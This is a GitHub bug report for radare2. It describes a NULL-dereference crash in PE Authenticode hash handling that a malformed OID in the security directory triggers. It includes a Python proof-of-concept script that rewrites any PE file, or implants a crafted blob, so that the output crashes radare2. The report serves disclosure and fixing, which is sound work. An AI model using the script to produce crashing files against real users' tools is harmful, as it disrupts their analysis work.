Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[PE] Segmentation fault by opening a binary (Bug in Pe32_bin_pe_compute_authentihash) #17431

Closed
S01den opened this issue Aug 9, 2020 · 4 comments · Fixed by #17466
Closed
Labels
crash PE Portable Executable file format handling
Milestone

Comments

@S01den
Copy link

S01den commented Aug 9, 2020

Work environment

Questions Answers
OS/arch/bits (mandatory) 5.6.16-1-Manjaro x86_64, Kubuntu x86 32
File format of the file you reverse (mandatory) PE
Architecture/bits of the file (mandatory) x86/32, x86/64
r2 -v full output, not truncated (mandatory) radare2 4.6.0-git 25031 @ linux-x86-64 git.4.4.0-504-g78ea6ec78
commit: 78ea6ec build: 2020-08-04__17:01:38

Expected behavior

radare2 test_crash.exe opens the file in radare2 and displays the r2 shell to the user.

Actual behavior

$ r2 test_crash.exe
Segmentation fault (core dumped)

Steps to reproduce the behavior

We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed IMAGE_DIRECTORY_ENTRY_SECURITY containing an OID which is different to 0x6.
The cause of this bug is this function (in radare2/libr/util/x509.c):

bool r_x509_parse_algorithmidentifier (RX509AlgorithmIdentifier *ai, RASN1Object *object) {
    if (!ai || !object || object->list.length < 1 || !object->list.objects) {
        return false;
    }
    if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID) {
        ai->algorithm = r_asn1_stringify_oid (object->list.objects[0]->sector, object->list.objects[0]->length);
    }
    ai->parameters = NULL; // TODO
    //ai->parameters = asn1_stringify_sector (object->list.objects[1]);
    return true;
}

if the following condition isn't satisfied if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID) (if object->list.objects[0]->tag != TAG_OID in our example, with TAG_OID equals to 0x6), then ai->algorithm stills NULL, which is why

char *hashtype = strdup (bin->spcinfo->messageDigest.digestAlgorithm.algorithm->string);

in the fuction Pe32_bin_pe_compute_authentihash segfaults.

So we wrote a small PoC script which turns any PE into a binary which makes radare2 crash.

#!/usr/bin/python3
from subprocess import Popen, PIPE, STDOUT
import pefile
import sys
import struct
import os

# trigger a segfault in radare2 by modifing the Object Identifier in IMAGE_DIRECTORY_ENTRY_SECURITY (in PE files)
# bug found by S01den and Architect (with custom fuzzing)


def get_offset(fname):
    pe = pefile.PE(fname, fast_load = True)
    pe.parse_data_directories( directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']])
     
    sig_offset = 0
    found = 0
     
    for s in pe.__structures__:
        if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
            sig_offset = s.VirtualAddress
            print("[*] IMAGE_DIRECTORY_ENTRY_SECURITY offset = "+hex(sig_offset))
            sig_len = s.Size
            print("[*] Size: "+hex(sig_len))
            if(sig_len <= 0):
                sig_offset = 0
     
    pe.close()

    return sig_offset

print("__________                       _____  ________   _____  _________                      .__     ")
print("\______   \_______  ____   _____/ ____\ \_____  \_/ ____\ \_   ___ \____________    _____|  |__  ")
print("|     ___/\_  __ \/  _ \ /  _ \   __\   /   |   \   __\  /    \  \/\_  __ \__  \  /  ___/  |  \  ")
print("|    |     |  | \(  <_> |  <_> )  |    /    |    \  |    \     \____|  | \// __ \_\___ \|   Y  \ ")
print("|____|     |__|   \____/ \____/|__|    \_______  /__|     \______  /|__|  (____  /____  >___|  / ")
print("                                                \/                \/            \/     \/     \/ ")

fname = sys.argv[1]

sig_offset = get_offset(fname)

f = open(fname,'rb')
content = bytearray(f.read())
f.close()

if(sig_offset == 0):
    print("[!] Nothing found... Trying to implant anyway")
    i = 0
    exploit = b"\x80\x08\x00\x00\x00\x00\x02\x000\x82\x08s\x06\t*\x86H\x86\xf7\r\x01\x07\x02\xa0\x82\x08d0\x82\x08`\x02\x01\x011\x0b0\t\x06\x05+\x0e\x03\x02\x1a\x05\x000h\x86\n+\x06\x01\x04\x01\x827\x02\x01\x04\xa0Z0X03\x06\n+\x06\x01\x04\x01\x827\x02\x01\x0f0%\x0b\x01\x00\xa0 \xa2\x1e\x80\x1c\x00<\x00<\x00<\x00O\x01b\x00s\x00o\x00l\x00e\x00t\x00e\x00>\x00>\x00>0!0\x0b\x22"
    while i != len(content)-123:
        if content[i:i+123] == b"\x00"*123:
            print(f"[*] Found space at {hex(i)}")
            break
        i += 1

    pe = pefile.PE(fname, fast_load = True)

    for s in pe.__structures__:
        if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
            s.VirtualAddress = i
            s.Size = 0x880
            pe.set_bytes_at_offset(i, exploit)

    pe.write(filename="output.exe")

else:
    print("[*] OID found !: "+hex(content[sig_offset+0x7a]))
    content[sig_offset+0x7a] += 1
    f = open("output.exe",'wb')
    f.write(content)
    f.close()

print("[*] D0ne ! ----> output.exe")

Additional Logs, screenshots, source-code, configuration dump, ...

capturePE_bug

@XVilka XVilka added crash PE Portable Executable file format handling labels Aug 11, 2020
@XVilka XVilka added this to the 4.5.1 milestone Aug 11, 2020
@phakeobj
Copy link
Contributor

phakeobj commented Aug 11, 2020

Triggering binary: output.zip (applied on cmd.exe 3656f37a1c6951ec4496fabb8ee957d3a6e3c276d5a3785476b482c9c0d32ea2)

@Mic92
Copy link
Contributor

Mic92 commented Sep 3, 2020

@XVilka Is there anything else missing for a bugfix release?

@XVilka
Copy link
Contributor

XVilka commented Sep 4, 2020

@Mic92
Copy link
Contributor

Mic92 commented Sep 4, 2020

Thanks. Nixpkgs will also have it soonish: NixOS/nixpkgs#97091

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
crash PE Portable Executable file format handling
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants